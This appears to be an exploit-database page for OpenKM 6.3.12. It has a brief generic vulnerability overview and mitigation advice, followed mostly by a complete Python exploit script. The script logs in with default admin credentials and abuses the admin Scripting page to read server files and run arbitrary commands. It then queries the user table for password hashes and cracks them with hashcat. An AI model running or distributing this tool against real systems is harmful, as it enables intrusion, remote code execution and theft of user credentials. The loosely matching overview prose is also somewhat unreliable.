Skip to main content

OpenKM 6.3.12 – Multiple

Categories: WebApps

Overview

The OpenKM 6.3.12 vulnerability encompasses multiple security flaws that can be exploited by malicious actors to compromise the integrity and confidentiality of sensitive data managed within the OpenKM document management system. These vulnerabilities primarily arise from improper input validation and insufficient authentication mechanisms, making it imperative for organizations using this platform to take immediate action to mitigate potential risks.

Technical Details

One of the key vulnerabilities identified in OpenKM 6.3.12 is the lack of proper sanitization of user input, which can lead to SQL injection attacks. Attackers can manipulate SQL queries by injecting malicious code through input fields, allowing them to gain unauthorized access to the database. Additionally, there are issues related to inadequate session management, where attackers can exploit weak session identifiers to hijack user sessions and perform unauthorized actions within the system.

Another concern is the exposure of sensitive files due to improper access controls. This can occur if directory traversal attacks are successful, enabling an attacker to navigate the file system and access files that should be restricted. For instance, an attacker could potentially download configuration files or sensitive documents that contain critical information about the organization.

Impact

The potential consequences of these vulnerabilities are significant. Data breaches resulting from successful exploits can lead to unauthorized access to sensitive documents, financial loss, and reputational damage for organizations. Furthermore, the exploitation of these vulnerabilities could result in compliance violations, particularly for organizations bound by data protection regulations such as GDPR or HIPAA.

Mitigation

To protect against the vulnerabilities present in OpenKM 6.3.12, organizations should prioritize immediate patching of the system to the latest version, which includes fixes for these security flaws. Regularly updating software is a fundamental practice in cybersecurity that helps mitigate risks associated with known vulnerabilities.

Additionally, implementing robust input validation measures and employing web application firewalls (WAF) can help prevent SQL injection attacks. Organizations should also enforce strict access controls and conduct regular security audits to identify and remediate any weaknesses in their systems. Educating staff about the importance of secure session management practices can further bolster defenses against session hijacking attempts.

Proof of Concept (PoC)

poc.py
# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A

import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass

print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")

# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
    required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
    for lib in required_libraries:
        try:
            import_module(lib)
        except ImportError:
            print(f"Library {lib} not found. Installing...")
            subprocess.check_call([
    sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
            print(f"Library {lib} installed successfully.")

check_and_install_libraries()

from bs4 import BeautifulSoup
from prettytable import PrettyTable

try:
    from termcolor import colored
    use_colored_output = True
except ImportError:
    use_colored_output = False

# Utility function for colored output
def print_colored(message, color):
    if use_colored_output:
        print(colored(message, color))
    else:
        print(message)

# Global session to persist cookies and authentication
session = requests.Session()

def signal_handler(sig, frame):
    print_colored("nDetected CTRL+C. Logging out...", "red")
    if "base_url" in globals():
        logout(base_url, proxies, verify_ssl)
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)



def check_version(base_url, proxies, verify_ssl):
    print_colored("Checking OpenKM version...", "cyan")
    version_url = f"{base_url}/frontend/Workspace"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url,
        "Referer": f"{base_url}/frontend/index.jsp",
    }

    payload = (
        f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
        "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
    )

    response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)

    if response.status_code == 200 and response.text.startswith("//OK"):
        try:
            strings = re.findall(r'"([^"]+)"', response.text)
            idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
            build = strings[idx + 1]
            release_type = strings[idx + 2]
            ver_major = strings[idx + 3]
            ver_minor = strings[idx + 4]
            ver_patch = strings[idx + 5]
            print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
        except Exception as e:
            print_colored(f"Failed to parse version: {e}", "red")
    else:
        print_colored("Failed to fetch version information.", "red")



# Function to handle login
def login(base_url, username, password):
    login_url = f"{base_url}/login.jsp"
    login_payload = {
        "j_username": username,
        "j_password": password,
        "j_language": "en-GB",
        "submit": ""
    }
    login_post_url = f"{base_url}/j_spring_security_check"
    response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
    if "error" in response.url:
        print_colored("Login failed. Check credentials.", "red")
        return False
    print_colored("Login successful using default credentials or provided oen, if any.", "green")
    check_version(base_url, proxies, verify_ssl)
    return True


# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    script_payload = {
        "csrft": csrf_token,
        "script": "",
        "fsPath": read_file,
        "action": "Load"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, "html.parser")
        textarea = soup.find("textarea", {"id": "script"})
        if textarea:
            print_colored("LFI Successful. Extracted Content:", "green")
            print(textarea.text.strip())
        else:
            print_colored("Content not found.", "red")
    else:
        print_colored("LFI exploit failed.", "red")

# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    exploit_payload = f"""
    try {{
        Process process = Runtime.getRuntime().exec("{command}");
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String output = reader.readLine();
        print("Result: " + output);
    }} catch (IOException e) {{
        print("Error: " + e.getMessage());
    }}
    """
    script_payload = {
        "csrft": csrf_token,
        "script": exploit_payload,
        "fsPath": "",
        "action": "Evaluate"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        match = re.search(r"Result:s*(w+)", response.text)
        if match:
            print_colored("RCE Successful. Result:", "green")
            print(match.group(1))
        else:
            print_colored("RCE failed to return a result.", "red")

#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
    def extract_hashes_to_file():
        try:
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            # Extract only the hashes (after the colon)
            hashes_only = [line.split(":")[1].strip() for line in hashes_data]
            # Write the hashes to md5_hashes.txt
            with open("md5_hashes.txt", "w") as file:
                file.write("n".join(hashes_only))
            print("Hashes successfully extracted to md5_hashes.txt")
        except FileNotFoundError:
            print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")

    # Combine usernames with cracked passwords
    def combine_passwords():
        try:
            # Load usernames and hashes from hashes.txt
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            
            # Load cracked hashes and passwords from cracked_hashes.txt
            with open("cracked_hashes.txt", "r") as file:
                cracked_data = file.readlines()
            
            # Parse data into dictionaries
            hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
            cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
            
            # Match and combine data into final_cracked.txt
            final_cracked = ["Username:Passwordsn"]  # Add header
            for username, hash_value in hashes_dict.items():
                if hash_value in cracked_dict:
                    password = cracked_dict[hash_value]
                    final_cracked.append(f"{username}:{password}n")
            
            # Save the results to final_cracked.txt
            final_cracked_path = os.path.abspath("final_cracked.txt")
            with open(final_cracked_path, "w") as file:
                file.writelines(final_cracked)
            print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")

            # Confirm with the user before displaying passwords
            show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
            if show_passwords == 'y':
                print("{:<20} {:<20}".format("Username", "Password"))
                print("-" * 40)
                for line in final_cracked[1:]:  # Skip header
                    username, password = line.strip().split(":")
                    print("{:<20} {:<20}".format(username, password))
                    exit(0)
            else:
                print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")

        except FileNotFoundError:
            print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")

    # Main script
    if __name__ == "__main__":
        # Step 1: Extract hashes to md5_hashes.txt
        extract_hashes_to_file()

        # Step 2: Prompt user for the wordlist path and use default if not provided
        wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
        if not wordlist_path:
            wordlist_path = "/usr/share/wordlists/rockyou.txt"

        import os
        # Run hashcat commands
        print("Running hashcat...")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")

        # Step 3: Combine usernames with cracked passwords
        combine_passwords()



# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
    print_colored("Running Unrestricted SQL Query...", "magenta")
    query_url = f"{base_url}/admin/DatabaseQuery"
    multipart_form_data = (
        "-----------------------------88617175833200583821560840739rn"
        "Content-Disposition: form-data; name="qs"rnrn"
        "SELECT * FROM OKM_USER;rn"
        "-----------------------------88617175833200583821560840739rn"
        "Content-Disposition: form-data; name="tables"rnrn"
        "OKM_USERrn"
        "-----------------------------88617175833200583821560840739rn"
        "Content-Disposition: form-data; name="vtables"rnrnrn"
        "-----------------------------88617175833200583821560840739rn"
        "Content-Disposition: form-data; name="type"rnrn"
        "jdbcrn"
        "-----------------------------88617175833200583821560840739--"
    )
    headers = {
        "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
    }
    response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        table = soup.find('table', class_='results-old')
        if table:
            print_colored("SQL Injection Successful. Results:", "green")
            rows = table.find_all('tr')
            table_data = PrettyTable()
            headers = [header.text.strip() for header in rows[0].find_all('th')]
            table_data.field_names = headers
            with open("hashes.txt", "w") as file:
                for row in rows[1:]:
                    columns = row.find_all(['td', 'th'])
                    # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
                    row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
                    if len(row_data) == len(headers):
                        table_data.add_row(row_data)
                        # Write USR_ID and USR_PASSWORD to the file
                        usr_id = row_data[headers.index("USR_ID")]
                        usr_password = row_data[headers.index("USR_PASSWORD")]
                        file.write(f"{usr_id}:{usr_password}n")

            print(table_data)
            #current_directory = os.getcwd()
            print_colored("hashes.txt created in the current directory", "green")

            crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
            if crack_hash in ['y', 'Y']:
               crack_password()
            else:
                print("Skipping password cracking...")
                exit()

        else:
            print_colored("No results found.", "red")
    else:
        print_colored("SQL Injection failed.", "red")

# Function for logout
def logout(base_url, proxies, verify_ssl):
    print_colored("Logging out...", "green")
    logout_url = f"{base_url}/frontend/Auth"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url
    }
    logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
    response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200 and "//OK" in response.text:
        print_colored("Logged out successfully.", "green")
    else:
        print_colored("Logout failed.", "red")

# Main function
def main():
    global base_url, proxies, verify_ssl

    parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
    parser.add_argument("--url", required=True, help="Base URL of the target application")
    parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
    parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
    parser.add_argument("--login", help="Credentials in the format username:password")
    args = parser.parse_args()

    help1 = args.run
    if help1 in ["-h", "--help"]:
        print_colored("Run python3 openkm-scanner.py --url http://host:port")

    base_url = args.url[:-1] if args.url.endswith('/') else args.url
    if not base_url.endswith("/OpenKM"):
        base_url += "/OpenKM"

    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
    verify_ssl = False
    
    if args.login:
        try:
            username, password = args.login.split(":", 1)
        except ValueError:
            print_colored("Invalid format for --login. Use username:password", "red")
            return
    else:
        username = "okmAdmin"
        password = "admin"
    if not login(base_url, username, password):
        return


    # if args.login:
    #     print("Username Received",  login)
    #     try:
    #         username, password = args.login.split(":", 1)
    #     except ValueError:
    #         print_colored("Invalid format for --login. Use username:password", "red")
    #     return
    # else:
    #     username = "okmAdmin"
    #     password = "admin"
    # if not login(base_url, username, password):
    #     return

    run_tests = args.run
    if not run_tests:
        run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()

    if run_tests in ['A', 'a']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)
        sqli(base_url, proxies, verify_ssl)
        crack_password()
        exit()

    if run_tests in ['L', 'l']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)

    if run_tests in ['R', 'r']:
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)

    if run_tests in ['S', 's']:
        sqli(base_url, proxies, verify_ssl)

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...